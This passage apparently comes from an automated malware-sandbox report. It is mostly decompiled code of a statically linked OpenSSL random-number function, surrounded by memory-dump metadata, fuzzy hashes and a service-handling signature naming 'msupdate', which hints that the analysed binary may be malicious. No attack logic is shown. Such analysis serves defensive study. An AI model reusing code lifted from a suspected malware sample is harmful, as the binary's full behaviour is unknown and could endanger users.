                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Service$CloseHandle$Open$DeleteManagerStatus
                                                                • String ID: msupdate
                                                                • API String ID: 3691197935-3668653166
                                                                • Opcode ID: 4a0d07b657ff2061085a48f882dd910af38885eefc87c87e0993057426d9a95b
                                                                • Instruction ID: 850850e09017d4da1059c143fbf6f4d01198759882cfff4f6ca984ed8863d824
                                                                • Opcode Fuzzy Hash: 4a0d07b657ff2061085a48f882dd910af38885eefc87c87e0993057426d9a95b
                                                                • Instruction Fuzzy Hash: 02F06831650254ABC361EF68FC9ABEA3BA4E746B56F000015F709DB660DFB5580C8B90
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 62%
                                                                			E00ACA010(signed int __ecx, signed int __edx, void* __ebp, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24, intOrPtr _a28, struct _FILETIME _a32, char _a40, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, signed int _a56, signed int _a60, signed int _a68, signed int _a72) {
                                                                				signed int _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t110;
                                                                				signed int _t122;
                                                                				signed int _t123;
                                                                				intOrPtr _t126;
                                                                				long _t128;
                                                                				signed char _t129;
                                                                				signed int _t130;
                                                                				signed int _t131;
                                                                				signed int _t133;
                                                                				signed int _t135;
                                                                				void* _t137;
                                                                				signed int _t138;
                                                                				signed int _t141;
                                                                				void* _t142;
                                                                				void* _t143;
                                                                				signed int _t144;
                                                                				signed int _t145;
                                                                				signed int _t146;
                                                                				signed int _t148;
                                                                				signed int _t149;
                                                                				signed int _t151;
                                                                				signed int _t163;
                                                                				signed int _t175;
                                                                				intOrPtr _t192;
                                                                				signed int _t193;
                                                                				void* _t197;
                                                                				intOrPtr _t200;
                                                                				signed int _t202;
                                                                				signed int _t212;
                                                                				signed int _t213;
                                                                				signed int _t214;
                                                                				intOrPtr _t215;
                                                                				char _t216;
                                                                				intOrPtr _t217;
                                                                				intOrPtr _t218;
                                                                				intOrPtr _t219;
                                                                				signed int _t220;
                                                                				signed int _t224;
                                                                				signed int _t225;
                                                                				signed int _t226;
                                                                				signed int _t227;
                                                                				signed int _t228;
                                                                				signed int _t230;
                                                                				signed int _t235;
                                                                				signed int _t236;
                                                                				signed int _t237;
                                                                				long long* _t239;
                                                                				void* _t240;
                                                                				void* _t241;
                                                                				void* _t246;
                                                                				long long _t250;
                                                                
                                                                				_t246 = __eflags;
                                                                				_t210 = __edx;
                                                                				E00B8BB10(0x40);
                                                                				_t110 =  *0xbe5970; // 0xe6e1d076
                                                                				_a60 = _t110 ^ _t235;
                                                                				_t222 = __ecx;
                                                                				_a20 = __ecx;
                                                                				_a12 = E00B8D912(__ecx, __edx, _t246, 0);
                                                                				_t236 = _t235 + 4;
                                                                				_a16 = __edx;
                                                                				_t223 = 0;
                                                                				GetSystemTimeAsFileTime( &_a32);
                                                                				_t171 = _a68;
                                                                				if(_t171 > 0) {
                                                                					_push(__ebp);
                                                                					_t230 = E00ADB820();
                                                                					_v0 = _t230;
                                                                					__eflags = _t230;
                                                                					if(_t230 == 0) {
                                                                						L4:
                                                                						E00AB8310(_t222, 0x24, 0x64, 0x41, "crypto\\rand\\md_rand.c", 0x204);
                                                                						_push(_t230);
                                                                						goto L74;
                                                                					} else {
                                                                						_t210 = 0x66666667 * (_t171 - 1) >> 0x20 >> 2;
                                                                						_t171 = (0x66666667 * (_t171 - 1) >> 0x20 >> 2) + (0x66666667 * (_t171 - 1) >> 0x20 >> 2 >> 0x1f) + 1 + ((0x66666667 * (_t171 - 1) >> 0x20 >> 2) + (0x66666667 * (_t171 - 1) >> 0x20 >> 2 >> 0x1f) + 1) * 4 + (0x66666667 * (_t171 - 1) >> 0x20 >> 2) + (0x66666667 * (_t171 - 1) >> 0x20 >> 2 >> 0x1f) + 1 + ((0x66666667 * (_t171 - 1) >> 0x20 >> 2) + (0x66666667 * (_t171 - 1) >> 0x20 >> 2 >> 0x1f) + 1) * 4;
                                                                						_t122 = E00AC4700(0xbe8f68, E00AC9C10);
                                                                						_t236 = _t236 + 8;
                                                                						_t123 =  ~_t122;
                                                                						asm("sbb eax, eax");
                                                                						__eflags =  *0xbe8f70 & _t123;
                                                                						if(( *0xbe8f70 & _t123) != 0) {
                                                                							_t212 =  *0xbe8f60; // 0x971188
                                                                							E00AC4690(_t212);
                                                                							E00ADC1A0(_t222);
                                                                							_t126 =  *0xbe8f64; // 0x975910
                                                                							E00AC4690(_t126);
                                                                							_t128 = GetCurrentThreadId();
                                                                							_t192 =  *0xbe8f64; // 0x975910
                                                                							 *0xbe8b18 = _t128;
                                                                							_t129 = E00AC46B0(_t192);
                                                                							_t239 = _t236 + 0xc;
                                                                							 *0xbe8f6c = 1;
                                                                							__eflags =  *0xbe8f54 - _t223; // 0x1
                                                                							if(__eflags == 0) {
                                                                								_t129 = E00ADC290();
                                                                								 *0xbe8f54 = 1;
                                                                							}
                                                                							_t213 =  *0xbe8f74; // 0x1
                                                                							__eflags = _t213;
                                                                							if(_t213 == 0) {
                                                                								_t223 = 1;
                                                                							}
                                                                							_t250 =  *0xbe8f58;
                                                                							asm("fcom st0, st1");
                                                                							asm("fnstsw ax");
                                                                							st1 = _t250;
                                                                							asm("fldz");
                                                                							__eflags = _t129 & 0x00000001;
                                                                							if((_t129 & 0x00000001) != 0) {
                                                                								asm("fild dword [esp+0x54]");
                                                                								_a8 = 0;
                                                                								asm("fsubp st2, st0");
                                                                								asm("fxch st0, st1");
                                                                								asm("fst qword [0xbe8f58]");
                                                                								asm("fcomp st0, st1");
                                                                								asm("fnstsw ax");
                                                                								__eflags = _t129 & 0x00000005;
                                                                								if((_t129 & 0x00000005) == 0) {
                                                                									asm("fst qword [0xbe8f58]");
                                                                								}
                                                                							} else {
                                                                								st1 = _t250;
                                                                								_a8 = 1;
                                                                							}
                                                                							__eflags = _t223;
                                                                							if(_t223 == 0) {
                                                                								st0 = _t250;
                                                                							} else {
                                                                								_t228 = 0x34;
                                                                								while(1) {
                                                                									E00B8BB10(8);
                                                                									 *_t239 = _t250;
                                                                									_push(0x14);
                                                                									_push("....................");
                                                                									E00AC9C50(_t171, _t213, 1);
                                                                									_t239 = _t239 + 0x10;
                                                                									_t228 = _t228 - 1;
                                                                									__eflags = _t228;
                                                                									if(_t228 == 0) {
                                                                										break;
                                                                									}
                                                                									asm("fldz");
                                                                								}
                                                                								__eflags = _a16 - _t228;
                                                                								if(_a16 != _t228) {
                                                                									 *0xbe8f74 = 1;
                                                                								}
                                                                							}
                                                                							_t214 =  *0xbe8f4c; // 0x61bb
                                                                							_t130 =  *0xbe8f48; // 0x3af
                                                                							_t193 =  *0xbe8f44; // 0x3ff
                                                                							_a24 = _t214;
                                                                							_t215 =  *0xbe8f50; // 0x3c
                                                                							_a28 = _t215;
                                                                							_t216 =  *0xbe8b1c; // 0x1018294a
                                                                							_a40 = _t216;
                                                                							_t217 =  *0xbe8b20; // 0xe0ee1982
                                                                							_a44 = _t217;
                                                                							_t218 =  *0xbe8b24; // 0x3c7617cb
                                                                							_a48 = _t218;
                                                                							_t219 =  *0xbe8b28; // 0xa9f589a2
                                                                							_t223 = _t130;
                                                                							_t131 = _t130 + _t171;
                                                                							_a52 = _t219;
                                                                							_t210 =  *0xbe8b2c; // 0xac14e5ba
                                                                							_t230 = _t193;
                                                                							_a56 = _t210;
                                                                							 *0xbe8f48 = _t131;
                                                                							__eflags = _t131 - _t193;
                                                                							if(_t131 > _t193) {
                                                                								_t36 = _t131 % _t193;
                                                                								__eflags = _t36;
                                                                								_t210 = _t36;
                                                                								 *0xbe8f48 = _t36;
                                                                							}
                                                                							 *0xbe8f4c =  *0xbe8f4c + 1;
                                                                							__eflags =  *0xbe8f4c;
                                                                							 *0xbe8f6c = 0;
                                                                							E00ADC1D0(_t222);
                                                                							_t133 =  *0xbe8f60; // 0x971188
                                                                							E00AC46B0(_t133);
                                                                							_t240 = _t239 + 4;
                                                                							while(1) {
                                                                								_t135 = _a68;
                                                                								__eflags = _t135 - 0xa;
                                                                								_a4 = 0xa;
                                                                								if(__eflags < 0) {
                                                                									_a4 = _t135;
                                                                								}
                                                                								_a68 = _t135 - _a4;
                                                                								_t137 = E00ADBEA0();
                                                                								_t171 = _v0;
                                                                								_t138 = E00ADB860(_t230, __eflags, _t171, _t137, 0);
                                                                								_t236 = _t240 + 0xc;
                                                                								__eflags = _t138;
                                                                								if(_t138 == 0) {
                                                                									break;
                                                                								}
                                                                								__eflags = _a12 | _a16;
                                                                								if((_a12 | _a16) == 0) {
                                                                									L31:
                                                                									_push(0x14);
                                                                									_push( &_a40);
                                                                									E00ADBA10(_t171);
                                                                									_t236 = _t236 + 0xc;
                                                                									__eflags = _t138;
                                                                									if(_t138 == 0) {
                                                                										break;
                                                                									} else {
                                                                										_push(8);
                                                                										_t210 =  &_a24;
                                                                										_push( &_a24);
                                                                										E00ADBA10(_t171);
                                                                										_t236 = _t236 + 0xc;
                                                                										__eflags = _t138;
                                                                										if(_t138 == 0) {
                                                                											break;
                                                                										} else {
                                                                											_t210 = _v0;
                                                                											_t175 = _t223 - _t230 + 0xa;
                                                                											_t55 = _t223 + 0xbe8b30; // 0xbe8edf
                                                                											_t197 = _t55;
                                                                											__eflags = _t175;
                                                                											if(_t175 <= 0) {
                                                                												_push(0xa);
                                                                												_push(_t197);
                                                                												_push(_t210);
                                                                												goto L37;
                                                                											} else {
                                                                												_push(0xa);
                                                                												_push(_t197);
                                                                												E00ADBA10(_t210);
                                                                												_t236 = _t236 + 0xc;
                                                                												__eflags = 0xa == _t175;
                                                                												if(0xa == _t175) {
                                                                													L72:
                                                                													_t171 = _v0;
                                                                													break;
                                                                												} else {
                                                                													_t138 = _v0;
                                                                													_push(_t175);
                                                                													_push(0xbe8b30);
                                                                													_push(_t138);
                                                                													L37:
                                                                													E00ADBA10();
                                                                													_t236 = _t236 + 0xc;
                                                                													__eflags = _t138;
                                                                													if(_t138 == 0) {
                                                                														goto L72;
                                                                													} else {
                                                                														_t141 = E00ADBA20(_t175, _t230, _v0,  &_a40, 0);
                                                                														_t236 = _t236 + 0xc;
                                                                														__eflags = _t141;
                                                                														if(_t141 == 0) {
                                                                															goto L72;
                                                                														} else {
                                                                															_t220 = 0;
                                                                															__eflags = 0;
                                                                															_t59 = _t220 + 2; // 0x2
                                                                															_t142 = _t59;
                                                                															do {
                                                                																 *(_t223 + 0xbe8b30) =  *(_t223 + 0xbe8b30) ^  *(_t236 + _t220 + 0x38);
                                                                																_t224 = _t223 + 1;
                                                                																__eflags = _t224 - _t230;
                                                                																if(_t224 >= _t230) {
                                                                																	_t224 = 0;
                                                                																	__eflags = 0;
                                                                																}
                                                                																_t200 = _a4;
                                                                																__eflags = _t220 - _t200;
                                                                																if(_t220 < _t200) {
                                                                																	 *_t222 =  *((intOrPtr*)(_t236 + _t220 + 0x42));
                                                                																	_t222 = _t222 + 1;
                                                                																	__eflags = _t222;
                                                                																}
                                                                																 *(_t224 + 0xbe8b30) =  *(_t224 + 0xbe8b30) ^  *(_t236 + _t220 + 0x39);
                                                                																_t225 = _t224 + 1;
                                                                																__eflags = _t225 - _t230;
                                                                																if(_t225 >= _t230) {
                                                                																	_t225 = 0;
                                                                																	__eflags = 0;
                                                                																}
                                                                																_t71 = _t142 - 1; // 0x1
                                                                																__eflags = _t71 - _t200;
                                                                																if(_t71 < _t200) {
                                                                																	 *_t222 =  *((intOrPtr*)(_t236 + _t220 + 0x43));
                                                                																	_t222 = _t222 + 1;
                                                                																	__eflags = _t222;
                                                                																}
                                                                																 *(_t225 + 0xbe8b30) =  *(_t225 + 0xbe8b30) ^  *(_t236 + _t220 + 0x3a);
                                                                																_t226 = _t225 + 1;
                                                                																__eflags = _t226 - _t230;
                                                                																if(_t226 >= _t230) {
                                                                																	_t226 = 0;
                                                                																	__eflags = 0;
                                                                																}
                                                                																__eflags = _t142 - _t200;
                                                                																if(_t142 < _t200) {
                                                                																	 *_t222 =  *((intOrPtr*)(_t236 + _t220 + 0x44));
                                                                																	_t222 = _t222 + 1;
                                                                																	__eflags = _t222;
                                                                																}
                                                                																 *(_t226 + 0xbe8b30) =  *(_t226 + 0xbe8b30) ^  *(_t236 + _t220 + 0x3b);
                                                                																_t227 = _t226 + 1;
                                                                																__eflags = _t227 - _t230;
                                                                																if(_t227 >= _t230) {
                                                                																	_t227 = 0;
                                                                																	__eflags = 0;
                                                                																}
                                                                																_t84 = _t142 + 1; // 0x3
                                                                																__eflags = _t84 - _t200;
                                                                																if(_t84 < _t200) {
                                                                																	 *_t222 =  *((intOrPtr*)(_t236 + _t220 + 0x45));
                                                                																	_t222 = _t222 + 1;
                                                                																	__eflags = _t222;
                                                                																}
                                                                																 *(_t227 + 0xbe8b30) =  *(_t227 + 0xbe8b30) ^  *(_t236 + _t220 + 0x3c);
                                                                																_t223 = _t227 + 1;
                                                                																__eflags = _t223 - _t230;
                                                                																if(_t223 >= _t230) {
                                                                																	_t223 = 0;
                                                                																	__eflags = 0;
                                                                																}
                                                                																_t91 = _t142 + 2; // 0x4
                                                                																_t171 = _t91;
                                                                																__eflags = _t91 - _t200;
                                                                																if(_t91 < _t200) {
                                                                																	 *_t222 =  *((intOrPtr*)(_t236 + _t220 + 0x46));
                                                                																	_t222 = _t222 + 1;
                                                                																	__eflags = _t222;
                                                                																}
                                                                																_t142 = _t142 + 5;
                                                                																_t220 = _t220 + 5;
                                                                																__eflags = _t142 - 0xc;
                                                                															} while (_t142 < 0xc);
                                                                															__eflags = _a68;
                                                                															_a20 = _t222;
                                                                															if(__eflags > 0) {
                                                                																continue;
                                                                															} else {
                                                                																_t143 = E00ADBEA0();
                                                                																_t210 = _v0;
                                                                																_t144 = E00ADB860(_t230, __eflags, _v0, _t143, 0);
                                                                																_t236 = _t236 + 0xc;
                                                                																__eflags = _t144;
                                                                																if(_t144 == 0) {
                                                                																	goto L72;
                                                                																} else {
                                                                																	_push(8);
                                                                																	_t145 =  &_a24;
                                                                																	_push(_t145);
                                                                																	E00ADBA10(_v0);
                                                                																	_t236 = _t236 + 0xc;
                                                                																	__eflags = _t145;
                                                                																	if(_t145 == 0) {
                                                                																		goto L72;
                                                                																	} else {
                                                                																		_t146 = _v0;
                                                                																		_push(0x14);
                                                                																		_t210 =  &_a40;
                                                                																		_push( &_a40);
                                                                																		E00ADBA10(_t146);
                                                                																		_t236 = _t236 + 0xc;
                                                                																		__eflags = _t146;
                                                                																		if(_t146 == 0) {
                                                                																			goto L72;
                                                                																		} else {
                                                                																			_t202 =  *0xbe8f60; // 0x971188
                                                                																			E00AC4690(_t202);
                                                                																			_t148 = E00ADC1A0(_t222);
                                                                																			_t223 = _v0;
                                                                																			_push(0x14);
                                                                																			_push(0xbe8b1c);
                                                                																			E00ADBA10(_t223);
                                                                																			_t241 = _t236 + 0x10;
                                                                																			__eflags = _t148;
                                                                																			if(_t148 == 0) {
                                                                																				L71:
                                                                																				_t149 =  *0xbe8f60; // 0x971188
                                                                																				E00AC46B0(_t149);
                                                                																				_t236 = _t241 + 4;
                                                                																				_t171 = _t223;
                                                                																				break;
                                                                																			} else {
                                                                																				_t151 = E00ADBA20(_t171, _t230, _t223, 0xbe8b1c, 0);
                                                                																				_t241 = _t241 + 0xc;
                                                                																				__eflags = _t151;
                                                                																				if(_t151 == 0) {
                                                                																					goto L71;
                                                                																				} else {
                                                                																					E00ADC1D0(_t222);
                                                                																					_t210 =  *0xbe8f60; // 0x971188
                                                                																					E00AC46B0(_t210);
                                                                																					E00ADB840(_t171, _t222, _t230, _t223);
                                                                																					_t237 = _t241 + 8;
                                                                																					__eflags = _a8;
                                                                																					if(_a8 == 0) {
                                                                																						__eflags = _a72;
                                                                																						if(_a72 != 0) {
                                                                																							L75:
                                                                																							__eflags = 0;
                                                                																							return E00B89C26(0, _t171, _a60 ^ _t237, _t210, _t222, _t223);
                                                                																						} else {
                                                                																							E00AB8310(_t222, 0x24, 0x64, 0x64, "crypto\\rand\\md_rand.c", 0x1fa);
                                                                																							E00AB8610(1, "You need to read the OpenSSL FAQ, https://www.openssl.org/docs/faq.html");
                                                                																							__eflags = _a60 ^ _t237 + 0x0000001c;
                                                                																							return E00B89C26(0, _t171, _a60 ^ _t237 + 0x0000001c, _t210, _t222, _t223);
                                                                																						}
                                                                																					} else {
                                                                																						__eflags = _a60 ^ _t237;
                                                                																						return E00B89C26(1, _t171, _a60 ^ _t237, _t210, _t222, _t223);
                                                                																					}
                                                                																				}
                                                                																			}
                                                                																		}
                                                                																	}
                                                                																}
                                                                															}
                                                                														}
                                                                													}
                                                                												}
                                                                											}
                                                                										}
                                                                									}
                                                                								} else {
                                                                									_push(8);
                                                                									_t210 =  &_a12;
                                                                									_push( &_a12);
                                                                									E00ADBA10(_t171);
                                                                									_t236 = _t236 + 0xc;
                                                                									__eflags = _t138;
                                                                									if(_t138 == 0) {
                                                                										break;
                                                                									} else {
                                                                										_push(8);
                                                                										_t163 =  &_a32;
                                                                										_push(_t163);
                                                                										E00ADBA10(_t171);
                                                                										_t236 = _t236 + 0xc;
                                                                										__eflags = _t163;
                                                                										if(_t163 == 0) {
                                                                											break;
                                                                										} else {
                                                                											_t222 = _t171;
                                                                											_a12 = 0;
                                                                											_a16 = 0;
                                                                											_t138 = E00AC9BB0(_t171);
                                                                											__eflags = _t138;
                                                                											if(_t138 == 0) {
                                                                												break;
                                                                											} else {
                                                                												_t222 = _a20;
                                                                												goto L31;
                                                                											}
                                                                										}
                                                                									}
                                                                								}
                                                                								goto L76;
                                                                							}
                                                                							E00AB8310(_t222, 0x24, 0x64, 6, "crypto\\rand\\md_rand.c", 0x200);
                                                                							_push(_t171);
                                                                							L74:
                                                                							E00ADB840(_t171, _t222, _t230);
                                                                							_t237 = _t236 + 0x18;
                                                                							goto L75;
                                                                						} else {
                                                                							goto L4;
                                                                						}
                                                                					}
                                                                				} else {
                                                                					_t7 = _t223 + 1; // 0x1
                                                                					return E00B89C26(_t7, _t171, _a60 ^ _t236, _t210, _t222, 0);
                                                                				}
                                                                				L76:
                                                                			}


























































                                                                0x00aca010
                                                                0x00aca010
                                                                0x00aca015
                                                                0x00aca01a
                                                                0x00aca021
                                                                0x00aca028
                                                                0x00aca02c
                                                                0x00aca035
                                                                0x00aca039
                                                                0x00aca041
                                                                0x00aca045
                                                                0x00aca047
                                                                0x00aca04d
                                                                0x00aca053
                                                                0x00aca06a
                                                                0x00aca070
                                                                0x00aca072
                                                                0x00aca076
                                                                0x00aca078
                                                                0x00aca0b3
                                                                0x00aca0c3
                                                                0x00aca0c8
                                                                0x00000000
                                                                0x00aca07a
                                                                0x00aca084
                                                                0x00aca09d
                                                                0x00aca09f
                                                                0x00aca0a4
                                                                0x00aca0a7
                                                                0x00aca0a9
                                                                0x00aca0ab
                                                                0x00aca0b1
                                                                0x00aca0ce
                                                                0x00aca0d5
                                                                0x00aca0da
                                                                0x00aca0df
                                                                0x00aca0e5
                                                                0x00aca0ea
                                                                0x00aca0ef
                                                                0x00aca0f6
                                                                0x00aca0fb
                                                                0x00aca100
                                                                0x00aca108
                                                                0x00aca10e
                                                                0x00aca114
                                                                0x00aca116
                                                                0x00aca11b
                                                                0x00aca11b
                                                                0x00aca121
                                                                0x00aca127
                                                                0x00aca129
                                                                0x00aca12b
                                                                0x00aca12b
                                                                0x00aca133
                                                                0x00aca139
                                                                0x00aca13b
                                                                0x00aca13d
                                                                0x00aca13f
                                                                0x00aca141
                                                                0x00aca144
                                                                0x00aca14e
                                                                0x00aca152
                                                                0x00aca15a
                                                                0x00aca15c
                                                                0x00aca15e
                                                                0x00aca164
                                                                0x00aca166
                                                                0x00aca168
                                                                0x00aca16b
                                                                0x00aca16d
                                                                0x00aca16d
                                                                0x00aca146
                                                                0x00aca146
                                                                0x00aca148
                                                                0x00aca148
                                                                0x00aca173
                                                                0x00aca175
                                                                0x00aca1b0
                                                                0x00aca177
                                                                0x00aca177
                                                                0x00aca182
                                                                0x00aca187
                                                                0x00aca18c
                                                                0x00aca18f
                                                                0x00aca191
                                                                0x00aca196
                                                                0x00aca19b
                                                                0x00aca19e
                                                                0x00aca19e
                                                                0x00aca1a0
                                                                0x00000000
                                                                0x00000000
                                                                0x00aca180
                                                                0x00aca180
                                                                0x00aca1a2
                                                                0x00aca1a6
                                                                0x00aca1a8
                                                                0x00aca1a8
                                                                0x00aca1a6
                                                                0x00aca1b2
                                                                0x00aca1b8
                                                                0x00aca1bd
                                                                0x00aca1c3
                                                                0x00aca1c7
                                                                0x00aca1cd
                                                                0x00aca1d1
                                                                0x00aca1d7
                                                                0x00aca1db
                                                                0x00aca1e1
                                                                0x00aca1e5
                                                                0x00aca1eb
                                                                0x00aca1ef
                                                                0x00aca1f5
                                                                0x00aca1f7
                                                                0x00aca1f9
                                                                0x00aca1fd
                                                                0x00aca203
                                                                0x00aca205
                                                                0x00aca209
                                                                0x00aca20e
                                                                0x00aca210
                                                                0x00aca214
                                                                0x00aca214
                                                                0x00aca214
                                                                0x00aca216
                                                                0x00aca216
                                                                0x00aca21c
                                                                0x00aca21c
                                                                0x00aca222
                                                                0x00aca22c
                                                                0x00aca231
                                                                0x00aca237
                                                                0x00aca23c
                                                                0x00aca240
                                                                0x00aca240
                                                                0x00aca244
                                                                0x00aca247
                                                                0x00aca24f
                                                                0x00aca251
                                                                0x00aca251
                                                                0x00aca25b
                                                                0x00aca25f
                                                                0x00aca264
                                                                0x00aca26a
                                                                0x00aca26f
                                                                0x00aca272
                                                                0x00aca274
                                                                0x00000000
                                                                0x00000000
                                                                0x00aca27e
                                                                0x00aca282
                                                                0x00aca2d1
                                                                0x00aca2d1
                                                                0x00aca2d7
                                                                0x00aca2d9
                                                                0x00aca2de
                                                                0x00aca2e1
                                                                0x00aca2e3
                                                                0x00000000
                                                                0x00aca2e9
                                                                0x00aca2e9
                                                                0x00aca2eb
                                                                0x00aca2ef
                                                                0x00aca2f1
                                                                0x00aca2f6
                                                                0x00aca2f9
                                                                0x00aca2fb
                                                                0x00000000
                                                                0x00aca301
                                                                0x00aca301
                                                                0x00aca309
                                                                0x00aca30c
                                                                0x00aca30c
                                                                0x00aca312
                                                                0x00aca314
                                                                0x00aca33d
                                                                0x00aca33f
                                                                0x00aca340
                                                                0x00000000
                                                                0x00aca316
                                                                0x00aca31d
                                                                0x00aca31e
                                                                0x00aca320
                                                                0x00aca325
                                                                0x00aca328
                                                                0x00aca32a
                                                                0x00aca54a
                                                                0x00aca54a
                                                                0x00000000
                                                                0x00aca330
                                                                0x00aca330
                                                                0x00aca334
                                                                0x00aca335
                                                                0x00aca33a
                                                                0x00aca341
                                                                0x00aca341
                                                                0x00aca346
                                                                0x00aca349
                                                                0x00aca34b
                                                                0x00000000
                                                                0x00aca351
                                                                0x00aca35d
                                                                0x00aca362
                                                                0x00aca365
                                                                0x00aca367
                                                                0x00000000
                                                                0x00aca36d
                                                                0x00aca36d
                                                                0x00aca36d
                                                                0x00aca36f
                                                                0x00aca36f
                                                                0x00aca372
                                                                0x00aca376
                                                                0x00aca37c
                                                                0x00aca37d
                                                                0x00aca37f
                                                                0x00aca381
                                                                0x00aca381
                                                                0x00aca381
                                                                0x00aca383
                                                                0x00aca387
                                                                0x00aca389
                                                                0x00aca38f
                                                                0x00aca391
                                                                0x00aca391
                                                                0x00aca391
                                                                0x00aca396
                                                                0x00aca39c
                                                                0x00aca39d
                                                                0x00aca39f
                                                                0x00aca3a1
                                                                0x00aca3a1
                                                                0x00aca3a1
                                                                0x00aca3a3
                                                                0x00aca3a6
                                                                0x00aca3a8
                                                                0x00aca3ae
                                                                0x00aca3b0
                                                                0x00aca3b0
                                                                0x00aca3b0
                                                                0x00aca3b5
                                                                0x00aca3bb
                                                                0x00aca3bc
                                                                0x00aca3be
                                                                0x00aca3c0
                                                                0x00aca3c0
                                                                0x00aca3c0
                                                                0x00aca3c2
                                                                0x00aca3c4
                                                                0x00aca3ca
                                                                0x00aca3cc
                                                                0x00aca3cc
                                                                0x00aca3cc
                                                                0x00aca3d1
                                                                0x00aca3d7
                                                                0x00aca3d8
                                                                0x00aca3da
                                                                0x00aca3dc
                                                                0x00aca3dc
                                                                0x00aca3dc
                                                                0x00aca3de
                                                                0x00aca3e1
                                                                0x00aca3e3
                                                                0x00aca3e9
                                                                0x00aca3eb
                                                                0x00aca3eb
                                                                0x00aca3eb
                                                                0x00aca3f0
                                                                0x00aca3f6
                                                                0x00aca3f7
                                                                0x00aca3f9
                                                                0x00aca3fb
                                                                0x00aca3fb
                                                                0x00aca3fb
                                                                0x00aca3fd
                                                                0x00aca3fd
                                                                0x00aca400
                                                                0x00aca402
                                                                0x00aca408
                                                                0x00aca40a
                                                                0x00aca40a
                                                                0x00aca40a
                                                                0x00aca40b
                                                                0x00aca40e
                                                                0x00aca411
                                                                0x00aca411
                                                                0x00aca41a
                                                                0x00aca41f
                                                                0x00aca423
                                                                0x00000000
                                                                0x00aca429
                                                                0x00aca42b
                                                                0x00aca430
                                                                0x00aca436
                                                                0x00aca43b
                                                                0x00aca43e
                                                                0x00aca440
                                                                0x00000000
                                                                0x00aca446
                                                                0x00aca44a
                                                                0x00aca44c
                                                                0x00aca450
                                                                0x00aca452
                                                                0x00aca457
                                                                0x00aca45a
                                                                0x00aca45c
                                                                0x00000000
                                                                0x00aca462
                                                                0x00aca462
                                                                0x00aca466
                                                                0x00aca468
                                                                0x00aca46c
                                                                0x00aca46e
                                                                0x00aca473
                                                                0x00aca476
                                                                0x00aca478
                                                                0x00000000
                                                                0x00aca47e
                                                                0x00aca47e
                                                                0x00aca485
                                                                0x00aca48a
                                                                0x00aca48f
                                                                0x00aca493
                                                                0x00aca495
                                                                0x00aca49b
                                                                0x00aca4a0
                                                                0x00aca4a3
                                                                0x00aca4a5
                                                                0x00aca538
                                                                0x00aca538
                                                                0x00aca53e
                                                                0x00aca543
                                                                0x00aca546
                                                                0x00000000
                                                                0x00aca4ab
                                                                0x00aca4b3
                                                                0x00aca4b8
                                                                0x00aca4bb
                                                                0x00aca4bd
                                                                0x00000000
                                                                0x00aca4bf
                                                                0x00aca4bf
                                                                0x00aca4c4
                                                                0x00aca4cb
                                                                0x00aca4d1
                                                                0x00aca4d6
                                                                0x00aca4d9
                                                                0x00aca4de
                                                                0x00aca4f8
                                                                0x00aca4fd
                                                                0x00aca56c
                                                                0x00aca576
                                                                0x00aca580
                                                                0x00aca4ff
                                                                0x00aca50f
                                                                0x00aca51b
                                                                0x00aca52d
                                                                0x00aca537
                                                                0x00aca537
                                                                0x00aca4e0
                                                                0x00aca4ed
                                                                0x00aca4f7
                                                                0x00aca4f7
                                                                0x00aca4de
                                                                0x00aca4bd
                                                                0x00aca4a5
                                                                0x00aca478
                                                                0x00aca45c
                                                                0x00aca440
                                                                0x00aca423
                                                                0x00aca367
                                                                0x00aca34b
                                                                0x00aca32a
                                                                0x00aca314
                                                                0x00aca2fb
                                                                0x00aca284
                                                                0x00aca284
                                                                0x00aca286
                                                                0x00aca28a
                                                                0x00aca28c
                                                                0x00aca291
                                                                0x00aca294
                                                                0x00aca296
                                                                0x00000000
                                                                0x00aca29c
                                                                0x00aca29c
                                                                0x00aca29e
                                                                0x00aca2a2
                                                                0x00aca2a4
                                                                0x00aca2a9
                                                                0x00aca2ac
                                                                0x00aca2ae
                                                                0x00000000
                                                                0x00aca2b4
                                                                0x00aca2b6
                                                                0x00aca2b8
                                                                0x00aca2bc
                                                                0x00aca2c0
                                                                0x00aca2c5
                                                                0x00aca2c7
                                                                0x00000000
                                                                0x00aca2cd
                                                                0x00aca2cd
                                                                0x00000000
                                                                0x00aca2cd
                                                                0x00aca2c7
                                                                0x00aca2ae
                                                                0x00aca296
                                                                0x00000000
                                                                0x00aca282
                                                                0x00aca55e
                                                                0x00aca563
                                                                0x00aca564
                                                                0x00aca564
                                                                0x00aca569
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00aca0b1
                                                                0x00aca056
                                                                0x00aca056
                                                                0x00aca069
                                                                0x00aca069
                                                                0x00000000

                                                                APIs
                                                                • __time64.LIBCMT ref: 00ACA030
                                                                  • Part of subcall function 00B8D912: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00ACA035,00000000), ref: 00B8D91D
                                                                  • Part of subcall function 00B8D912: __aulldiv.LIBCMT ref: 00B8D93D
                                                                • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00ACA047
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
